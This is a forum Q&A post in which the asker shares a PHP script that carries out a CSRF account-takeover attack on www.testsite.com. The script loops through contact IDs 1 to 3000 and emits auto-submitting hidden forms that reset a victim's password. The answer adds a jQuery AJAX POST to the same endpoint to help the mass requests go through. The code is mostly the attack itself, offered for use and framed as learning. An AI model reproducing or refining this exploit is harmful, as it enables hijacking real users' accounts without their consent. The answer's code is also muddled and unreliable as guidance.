Serge Van Haag Serge Van Haag - 2 months ago 7
PHP Question

Submitting Multiple Forms to external webserver via Post

In order to explain what I am trying to accomplish, here are some facts:


  • www.testsite.com is not CSRF protected and it is possible for an attacker to change the password of a victim if he knows the e-mail of the victim and his unique contactid.

  • Every new users gains a new ID by simply auto incrementing with 1. There are only 3000 contactIDs right now; so that means 1,2,3,4,5,6 --> 3000.

  • If an attackers knows the e-mail of a victim, he can simply keep guessing contactIDs (maximal of 3000) and then he can change it. I want to do this automatically.



- I am trying to create a PHP script to learn more about code and to show how simple this is. I am not a malicious hacker or anything close.

So I figured that I could just use a loop that auto increments contactIDs and then posts the data to the www.testsite.com. The problem is, it does not send all the POST requests (with contactID=1 and another one with contactID=2 etc)... Here is my code:

<?php

echo "I set the password to 'stackoverflow'. <br/>";

$mailadres = 1; //startvalue to remove that undefined index php error.

if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}

if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>";
}


$contactid = 1; //We begin with one....


while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.

echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.

}


?>


My question is: How do I make PHP submit all these forms (contactid=1 & contactid=2)

Answer

Firstly you need to get rid of the action, method etc in the form. Let it be simple like below:

<form id="form1">
.....
</form>

Then you need to give if for elements, give same name given as in 'name'. For example see like

<input type='hidden' name='contactid' id='contactid' value='{$contactid}'>

Then have a button with onClick() and trigger a function, like

<button id="button1" onclick="postData()">PostData</button>

then have a function like this

function postData(d1, d2, d3, d4) {
$.ajax({
    url: 'http://www.testsite.com/submit.php',
    data: {
        data1: d1,
        data2: d2,
        data3: d3,
        data4: d4
    },
    type: 'POST',
    success: function(result) {
       //code for success
    },
    error: function(jqXHR, textStatus, errorThrown) {
         //code in case of error
    }
});
}

Whenever the button click occurs, you the data will be automatically posted to the given url.

Hope this helps...